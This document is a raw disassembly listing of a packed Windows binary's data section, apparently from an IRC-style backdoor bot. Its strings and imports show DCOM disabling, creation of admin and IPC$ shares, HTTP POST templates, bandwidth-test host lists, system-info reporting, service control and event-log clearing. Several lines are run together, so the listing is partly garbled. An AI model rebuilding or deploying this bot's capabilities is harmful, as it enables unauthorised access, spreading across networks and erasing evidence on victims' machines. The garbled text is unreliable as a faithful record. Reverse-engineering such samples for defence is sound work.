					; sub_41A94E+EDo
		align 4
dword_43C8F4	dd 234032Dh, 75636573h,	3026572h					; sub_41A94E+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43C924	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41A628:loc_41A69Bo
		dd 62617369h, 2E64656Ch, 0
dword_43C944	dd 234032Dh, 75636573h,	3026572haDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A628+54o
					; sub_41A94E+54o
		align 4
dword_43C974	dd 234032Dh, 75636573h,	3026572haNetworkSharesA	db '- Network shares added.',0
aC_1		db '%c:\',0             ; DATA XREF: sub_41A94E+22Fo
		align 10h
aC_2		db '%c$',0              ; DATA XREF: sub_41A94E+21Eo
dword_43C9A4	dd 234032Dh, 75636573h,	3026572h					; sub_41A94E:loc_41ABC6o
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43C9CC	dd 234032Dh, 75636573h,	3026572h					; sub_41A94E+271o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43C9EC	dd 234032Dh, 75636573h,	3026572haFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43CA28	dd 234032Dh, 75636573h,	3026572haUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 10h
dword_43CA60	dd 234032Dh, 75636573h,	3026572haFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 10h
dword_43CAA0	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A94E:loc_41A9C1o
		dd 6C62616Eh, 2E6465h
dword_43CABC	dd 234032Dh, 75636573h,	3026572haEnableDcomFail	db '- Enable DCOM failed.',0
		align 10h
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41ACA2+DEo
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dword_43CB18	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41AE7F+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41AE7F+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41AE7F+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41AE7F+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41AE7F+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41AE7F+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41AE7F+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41AE7F+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41AE7F+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41AE7F+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41AE7F+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41AE7F+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41AE7F+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41AE7F+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41AE7F+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41AE7F+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41AE7F+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41AE7F+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41AE7F+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41AE7F+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41AE7F+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41AE7F+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41AE7F+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41AE7F+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41AE7F+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41AE7F+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41AE7F+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41B05C+39o
dword_43CD30	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41B1FC+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43CE0C	dd 4D3A6464h, 793A4D4Dh, 797979haCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41B1FC:loc_41B360o
		align 10h
aSS_2		db '%s (%s)',0          ; DATA XREF: sub_41B1FC+EBo
dword_43CE38	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41B4B0+ABo
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43CE7C	dd offset loc_412F4E	; DATA XREF: sub_41B4B0:loc_41B524o
off_43CE80	dd offset dword_4E414C	; DATA XREF: sub_41B4B0:loc_41B51Do
dword_43CE84	dd 6C616944h, 70752Dhdword_43CE8C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hunk_43CE9C	db  2Dh	; -		; DATA XREF: sub_41B576:loc_41B733o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConn_0	db ' Failed to connect to HTTP server.',0
		align 4
unk_43CECC	db  2Dh	; -		; DATA XREF: sub_41B576:loc_41B72Co
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43CEF8	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41B576+1A6o
		dd 4C525520h, 2Eh
unk_43CF14	db  2Dh	; -		; DATA XREF: sub_41B576:loc_41B70Fo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_43CF50	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41B576+192o
		dd 64657469h, 2Eh
dword_43CF6C	dd 2A2F2Ah	dword_43CF70	dd 0A4D0628h			align 10h
dword_43CF80	dd 173Fh			dd 9875h, 9873h
off_43CF8C	dd offset sub_41CF18	; DATA XREF: sub_41BF54r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43CF98	dd 1B3Fh	dword_43CF9C	dd 19930520h, 4	dup(0)					; sub_41D41A+2o
off_43CFB0	dd offset sub_41BF92	; DATA XREF: sub_41E229+1Cr
dword_43CFB4	dd 2							; sub_423EAD+46r ...
		dd 10h,	0
off_43CFC0	dd offset off_43CFC0	; DATA XREF: sub_41F176+Do
					; sub_41F176+69o ...
off_43CFC4	dd offset off_43CFC0	; DATA XREF: sub_41F176:loc_41F1F6r
					; sub_41F176+89w ...
		dd offset dword_43CFD8
		dd offset dword_43CFD8
dword_43CFD0	dd 0FFFFFFFFh						; sub_41F2BA:loc_41F307w
		dd 0FFFFFFFFh
dword_43CFD8	dd 0F0h, 0F1h, 800h dup(0)					; .packed:0043CFCCo
off_43EFE0	dd offset off_43CFC0	; DATA XREF: sub_41F2BA+15r
					; sub_41F2BA+20w ...
dword_43EFE4	dd 1E0h							; sub_41BCE3:loc_41BD1Fr ...
off_43EFE8	dd offset word_43EFF2	; DATA XREF: sub_41BEBE+23r
					; sub_41BEBE:loc_41BF1Fr ...
off_43EFEC	dd offset word_43EFF2	; DATA XREF: sub_427461+18r
		db 2 dup(0)
word_43EFF2	dw 20h			; DATA XREF: sub_425680+18r
					; .packed:off_43EFE8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43F1F4	dd 1							; sub_41BEBE:loc_41BF0Ar ...
byte_43F1F8	db 2Eh			; DATA XREF: sub_420D10:loc_421004r
					; sub_420D10+311r ...
		align 4
		dd 1
off_43F200	dd offset aNull_0	; DATA XREF: sub_41FE9F:loc_420203r
					; sub_41FE9F+457r
					; "(null)"
off_43F204	dd offset aNull		; DATA XREF: sub_41FE9F+259r
					; "(null)"
byte_43F208	db 1			; DATA XREF: sub_4206A9+E1r
		db 2, 4, 8
		align 10h
dword_43F210	dd 3A4h		dword_43F214	dd 82798260h, 21h, 0dword_43F220	dd 0DFA6h			align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43F300	dd 1							; sub_420BDF+Co
dword_43F304	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43F468	dd 0D2D0920h, 5Dh					; sub_420D10:loc_421277o
dword_43F470	dd 5Dh,	0	dword_43F478	dd 14h		off_43F47C	dd offset aExp		; DATA XREF: sub_421E24:loc_421E41r
					; "exp"
		dd 1Dh,	42887Ch, 1Ah, 428878h, 1Bh, 428870h, 1Fh, 428868h
		dd 13h,	428860h, 21h, 428858h, 0Eh, 428850h, 0Dh, 428848h
		dd 0Fh,	428840h, 10h, 428838h, 5, 428830h, 1Eh,	42882Ch
		dd 12h,	428828h, 20h, 428824h, 0Ch, 42881Ch, 0Bh, 428814h
		dd 15h,	42880Ch, 1Ch, 428804h, 19h, 4287FCh, 11h, 4287F4h
		dd 18h,	4287ECh, 16h, 4287E4h, 17h, 4287DCh, 22h, 4287D8h
		dd 23h,	4287D4h, 24h, 4287D0h
dbl_43F550	dq 1.797693134862316e308 ; DATA	XREF: sub_421B5F+B7r
					; sub_421B5F:loc_421C46r ...
		dd 0
		dd 0FFF80000h
dbl_43F560	dq 1.797693134862316e308 ; DATA	XREF: sub_421B5F+92r
					; sub_421B5F:loc_421C1Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43F578	dt 2.3562723457267347066e313 ; DATA XREF: sub_42200C+Dr
					; sub_42200C+1Fr
		align 4
tbyte_43F584	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42200C+31r
		align 10h
off_43F590	dd offset sub_4224A0	; DATA XREF: sub_41CF30+Fw
					; sub_41FE9F+3AAr
off_43F594	dd offset sub_422135	; DATA XREF: sub_41CF30+5w
					; sub_41FE9F+3E2r
off_43F598	dd offset sub_42219B	; DATA XREF: sub_41CF30+14w
					; sub_420D10+430r
off_43F59C	dd offset sub_4220DB	; DATA XREF: sub_41CF30+1Ew
					; sub_41FE9F+3CBr
off_43F5A0	dd offset sub_422183	; DATA XREF: sub_41CF30+28w
off_43F5A4	dd offset sub_4224A0	; DATA XREF: sub_41CF30+32w
		dd offset sub_424F3C
		align 10h
		dd offset sub_422D5C
off_43F5B4	dd offset sub_422D5C	; DATA XREF: sub_422DB2+29r
off_43F5B8	dd offset dword_4DE480	; DATA XREF: sub_422F2B+55o
		align 10h
		dd offset dword_4DE480
		dd 101h
dword_43F5C8	dd 0FFFFFFFFh, 0		dd 1000h, 0
dword_43F5D8	dd 3 dup(0)						; sub_41FD8A+50o ...
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43F5F8	dd 3 dup(0)						; sub_420C46:loc_420C64o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43F628	dd 84h dup(0)	dword_43F838	dd 0C0000005h						; sub_423713+Ar ...
dword_43F83C	dd 0Bh				dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43F8B0	dd 3							; sub_426185+C8r
dword_43F8B4	dd 7							; sub_426185+CDr
dword_43F8B8	dd 0Ah							; sub_4262B2+4r
dword_43F8BC	dd 8Ch							; sub_4235D2+8Fw ...
dword_43F8C0	dd 0FFFFFFFFh, 0A00h					; sub_41FD8A:loc_41FE47o
dword_43F8C8	dd 2							; sub_423EAD+28r
off_43F8CC	dd offset aR6002FloatingP ; DATA XREF: sub_423EAD+FCr
					; sub_423EAD+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 428B9Ch, 9, 428B70h, 0Ah,	428B4Ch, 10h, 428B20h
		dd 11h,	428AF0h, 12h, 428ACCh, 13h, 428AA0h, 18h, 428A68h
		dd 19h,	428A40h, 1Ah, 428A08h, 1Bh, 4289D0h, 1Ch, 4289A8h
		dd 78h,	428998h, 79h, 428988h, 7Ah, 428978h, 0FCh, 436514h
		dd 0FFh, 428968h
dword_43F958	dd 2 dup(0)	dword_43F960	dd 2694h						; sub_421814+46r
		align 8
dword_43F968	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_43F980	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_43F998	dd 7080h						; sub_42501C+5Ew ...
dword_43F99C	dd 1							; sub_42501C+8Bw ...
dword_43F9A0	dd 0FFFFF1F0h						; sub_42501C+94w ...
dword_43F9A4	dd 545350h, 0Fh	dup(0)dword_43F9E4	dd 544450h, 0Fh	dup(0)off_43FA24	dd offset dword_43F9A4	; DATA XREF: sub_42501C+BAr
					; sub_42501C+D9r ...
off_43FA28	dd offset dword_43F9E4	; DATA XREF: sub_42501C+F4r
					; sub_42501C+11Br ...
		align 10h
dword_43FA30	dd 0FFFFFFFFh						; sub_42527A+1Er ...
dword_43FA34	dd 0							; sub_425426+BFw
dword_43FA38	dd 0							; sub_425426+E0w
		align 10h
dword_43FA40	dd 0FFFFFFFFh						; sub_42527A+26r ...
dword_43FA44	dd 0							; sub_425426+EAw ...
dword_43FA48	dd 0							; sub_425426+23r ...
dword_43FA4C	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43FA7C	dd 16Dh							; sub_425426+2Er ...
dword_43FA80	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43FAB8	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43FC18	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_42660A+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_43FD78	dd offset off_428D90	; DATA XREF: .packed:00428F14o
					; .packed:00429014o
		align 10h
a_?avexception@	db '.?AVexception@@',0
off_43FD90	dd offset off_428D90	; DATA XREF: .packed:off_428E00o
					; .packed:00428E94o ...
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
off_43FDB0	dd offset off_428D90	; DATA XREF: .packed:off_428E18o
					; .packed:00428E5Co ...
		align 8
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43FDD0	dd offset off_428D90	; DATA XREF: .packed:off_428EA0o
					; .packed:00428EE4o ...
		align 8
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
off_43FDF0	dd offset off_428D90	; DATA XREF: .packed:off_428F20o
					; .packed:00428F5Co
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_424F3C
		align 10h
dword_43FE10	dd 0		byte_43FE14	db 0			; DATA XREF: sub_401132+62o
					; sub_401252+241o ...
		align 4
dword_43FE18	dd 0							; sub_401B66+A6Do ...
		dd 5 dup(0)
dword_43FE30	dd 0							; sub_4156AD+60r
		dd 2D9h	dup(0)
dword_440998	dd 0							; sub_401B66+5E8Br ...
		dd 7Fh dup(0)
dword_440B98	dd 0							; sub_40B0C8+3Aw ...
dword_440B9C	dd 0							; sub_40B0C8+40w ...
dword_440BA0	dd 0							; sub_40B0C8+34r ...
dword_440BA4	dd 0							; sub_401891+B9w ...
dword_440BA8	dd 0							; sub_40B2A3+2Aw ...
dword_440BAC	dd 0							; sub_401252+439w ...
byte_440BB0	db 0			; DATA XREF: sub_401891+91o
					; sub_401B66+5CD1r ...
		align 4
		dd 12E7h dup(0)
dword_445750	dd 473Ch dup(0)			db 0
byte_457441	db 3 dup(0)		; DATA XREF: .packed:off_43B184o
		dd 0E304h dup(0)
dword_490054	dd 7FFFh dup(0)						; .packed:00434491o
		db 2 dup(0)
word_4B0052	dw 0			; DATA XREF: .packed:00434487o
		dd 147Ch dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: .packed:0043AFF0o
		dd 3E7Fh dup(0)
dword_4C4C44	dd 2355h dup(0)	dword_4CD998	dd 0							; sub_40AF8D+13o ...
dword_4CD99C	dd 0							; sub_401B66:loc_4044ECr ...
dword_4CD9A0	dd 0		dword_4CD9A4	dd 20h dup(0)						; sub_401252+5A2o ...
dword_4CDA24	dd 10h dup(0)	dword_4CDA64	dd 24h dup(0)	dword_4CDAF4	dd 0							; sub_401252+5B9w ...
dword_4CDAF8	dd 0				dd 2 dup(0)
dword_4CDB04	dd 0							; sub_401B66:loc_403BF9r ...
dword_4CDB08	dd 0		dword_4CDB0C	dd 0							; sub_401B66+268r
byte_4CDB10	db 0			; DATA XREF: sub_4019F7+10r
					; sub_4019F7+23o
		align 4
dword_4CDB14	dd 0							; sub_401252+56Dr ...
dword_4CDB18	dd 0							; sub_401B66+823r
word_4CDB1C	dw 0			; DATA XREF: sub_401B66+7C41o
					; sub_40C816+13o ...
		align 10h
dword_4CDB20	dd 0		; resolved to->GDI32.DeleteDC					; sub_409A1D+4EBr ...
dword_4CDB24	dd 0		; resolved to->KERNEL32.Module32First					; sub_419E77+156r
dword_4CDB28	dd 0		; resolved to->WININET.InternetGetConnectedStateExA					; sub_409A1D+880r ...
dword_4CDB2C	dd 0							; sub_409A1D+A43r ...
dword_4CDB30	dd 0							; sub_409A1D+A13r ...
dword_4CDB34	dd 0		; resolved to->GDI32.SelectObject					; sub_409A1D+4DBr ...
dword_4CDB38	dd 0		; resolved to->USER32.GetKeyState					; sub_409A1D+234r ...
dword_4CDB3C	dd 0							; sub_409A1D+A3Br ...
dword_4CDB40	dd 0		; resolved to->ADVAPI32.OpenServiceA					; sub_409A1D+3C7r ...
dword_4CDB44	dd 0		; resolved to->ADVAPI32.GetUserNameA					; sub_41B1FC+11Er
dword_4CDB48	dd 0		; resolved to->ADVAPI32.StartServiceA					; sub_409A1D+3CFr ...
dword_4CDB4C	dd 0		; resolved to->ADVAPI32.IsValidSecurityDescriptor					; sub_41946F+ADr
dword_4CDB50	dd 0		; resolved to->WS2_32.__WSAFDIsSet					; sub_40F956+115r ...
dword_4CDB54	dd 0		; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_409A1D+D2r ...
dword_4CDB58	dd 0							; sub_409A1D+A06r ...
dword_4CDB5C	dd 0		; resolved to->ADVAPI32.CloseServiceHandle					; sub_409A1D+3E7r ...
dword_4CDB60	dd 0		; resolved to->WININET.InternetCrackUrlA					; sub_409A1D+8ACr ...
dword_4CDB64	dd 0		; resolved to->ADVAPI32.RegQueryValueExA					; sub_409A1D+2F0r ...
dword_4CDB68	dd 0		; resolved to->WININET.InternetOpenUrlA					; sub_409A1D+8A4r ...
dword_4CDB6C	dd 0		; resolved to->KERNEL32.QueryPerformanceFrequencydword_4CDB70	dd 0		; resolved to->WININET.InternetReadFile					; sub_409A1D+8B4r ...
dword_4CDB74	dd 0		; resolved to->WS2_32.WSAAsyncSelect					; sub_409A1D+6D0r ...
dword_4CDB78	dd 0		; resolved to->KERNEL32.Process32Next					; sub_409A1D+CAr ...
dword_4CDB7C	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_4138B0+11Ar
dword_4CDB80	dd 0		; resolved to->DNSAPI.DnsFlushResolverCache					; sub_409A1D+A95w ...
dword_4CDB84	dd 0		; resolved to->KERNEL32.QueryPerformanceCounter					; sub_409A1D+F2r
dword_4CDB88	dd 0		; resolved to->GDI32.GetDIBColorTable					; sub_409A1D+4D3r ...
dword_4CDB8C	dd 0		; resolved to->WS2_32.ntohl					; sub_40BE29+20r ...
dword_4CDB90	dd 0							; sub_409A1D+A33r
dword_4CDB94	dd 0		; resolved to->WS2_32.ntohs					; sub_409A1D+754r ...
dword_4CDB98	dd 0							; sub_40B1CF+16o ...
dword_4CDB9C	dd 0							; sub_40B182+3Do
dword_4CDBA0	dd 0		; resolved to->WININET.InternetGetConnectedState					; sub_409A1D+7FEw ...
dword_4CDBA4	dd 0		; resolved to->USER32.ExitWindowsEx					; sub_418A12+15r
dword_4CDBA8	dd 0							; sub_409A1D+A1Br ...
dword_4CDBAC	dd 0		; resolved to->ADVAPI32.ControlService					; sub_409A1D+3D7r ...
dword_4CDBB0	dd 0		; resolved to->ADVAPI32.DeleteService					; sub_409A1D+3DFr ...
dword_4CDBB4	dd 0							; sub_409A1D+C8Cr ...
dword_4CDBB8	dd 0		; resolved to->WS2_32.getpeername					; sub_410E59+D0r
dword_4CDBBC	dd 0		; resolved to->WS2_32.WSACleanup					; sub_401132+23r ...
dword_4CDBC0	dd 0		; resolved to->GDI32.DeleteObject					; sub_4159B5+207r
dword_4CDBC4	dd 0							; sub_409A1D+A4Br ...
dword_4CDBC8	dd 0		; resolved to->ADVAPI32.RegDeleteValueA					; sub_409A1D+2B2w ...
dword_4CDBCC	dd 0		; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_409A1D+DAr ...
dword_4CDBD0	dd 0		; resolved to->SHELL32.ShellExecuteA					; sub_401B66+78B6r ...
dword_4CDBD4	dd 0		; resolved to->WS2_32.WSAStartup					; sub_401B66+503Br ...
dword_4CDBD8	dd 0		; resolved to->WININET.HttpSendRequestA					; sub_409A1D+890r ...
dword_4CDBDC	dd 0							; sub_409A1D+A23r
dword_4CDBE0	dd 0							; sub_409A1D+C3Fr
dword_4CDBE4	dd 0		; resolved to->ADVAPI32.OpenEventLogA					; sub_418BBC+47r
dword_4CDBE8	dd 0		; resolved to->USER32.GetForegroundWindow					; sub_41234A+40r ...
dword_4CDBEC	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_409A1D+92Er ...
dword_4CDBF0	dd 0		dword_4CDBF4	dd 0		; resolved to->ADVAPI32.ClearEventLogA					; sub_418BBC+4Fr
dword_4CDBF8	dd 0		; resolved to->WS2_32.WSAGetLastError					; sub_409A1D+6E8r ...
dword_4CDBFC	dd 0		; resolved to->WININET.InternetOpenA					; sub_409A1D+873r
dword_4CDC00	dd 0		; resolved to->USER32.GetWindowTextA					; sub_409A1D+23Cr ...
dword_4CDC04	dd 0		; resolved to->USER32.IsWindow					; sub_409A1D+1C2r ...
dword_4CDC08	dd 0		; resolved to->WS2_32.getsockname					; sub_401B66+59F3r ...
dword_4CDC0C	dd 0		; resolved to->WS2_32.connect					; sub_401B66+50C5r ...
dword_4CDC10	dd 0		; resolved to->WS2_32.WSAIoctl					; sub_409A1D+6DCr ...
dword_4CDC14	dd 0							; sub_409A1D:loc_40A316w ...
dword_4CDC18	dd 0		; resolved to->ADVAPI32.RegCreateKeyExA					; sub_409A1D+28Bw ...
dword_4CDC1C	dd 0		; resolved to->WS2_32.gethostbyaddr					; sub_409A1D+69Fw ...
